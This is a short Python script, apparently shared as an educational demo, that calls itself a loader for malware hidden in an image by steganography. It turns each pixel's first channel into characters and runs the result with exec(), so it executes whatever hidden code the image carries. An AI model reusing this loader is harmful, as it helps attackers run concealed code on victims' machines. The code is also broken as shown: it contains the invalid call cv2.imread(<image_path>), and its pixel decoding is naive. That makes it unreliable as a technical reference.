Python_To_Pull_Malware_From_Image.py

# Created July 19, 2023 - By: Devon Griffith A.K.A. rootPHAGE / 我爱数据
# Run on Windows [ python3 <path to file>\Hidden_Malware_From_Inside_Image.py ]
# Malware hidden inside an image is retrieved and executed on the target machine
# The malware is hidden using steganography in images and this script extracts the binary malware and executes it
# ALWAYS scan images or anything else before downloading it in case there is malware hidden inside it
# If this script was already on your device or got onto your device when you had the infected image, then the malware can be activated

import cv2  # Imports the library needed to load the image with malware on your device

def read_image_with_hidden_code(image_path):  # Function to extract the malware from the image
    image = cv2.imread(<image_path>)  # Load the image using the OpenCV library
    
    hidden_code = ""  # Empty string that will hold the malware extracted (assuming they are ASCII characters 
    for row in image:
        for pixel in row:
            hidden_code += chr(pixel[0])  # Iterates over each pixel in the image and extract the pixel values then places them in the string
    
    exec(hidden_code)  # The exec() command runs the malware code that was extracted from the image

image_path = "path/to/your/image.jpg"  # Here is the path to the image containing the hidden malware

read_image_with_hidden_code(image_path)  # Call the function we wrote to read the image and execute the hidden malware

# DO NOT USE THIS SCRIPT MALICIOUSLY - PROVIDED FOR EDUCATIONAL PURPOSES ONLY